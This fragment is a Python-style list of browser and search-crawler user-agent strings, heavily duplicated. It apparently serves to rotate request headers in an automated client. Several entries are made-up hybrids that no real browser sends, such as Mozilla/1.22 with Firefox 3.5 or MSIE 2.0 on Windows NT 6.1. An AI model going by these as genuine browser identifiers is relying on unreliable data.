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'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
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'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
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'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
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'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
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'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
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'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
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'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
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'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
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'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
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'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
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'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
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'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
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'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
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'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
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'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
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'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
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'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
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'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
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'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
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'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
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'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
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'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
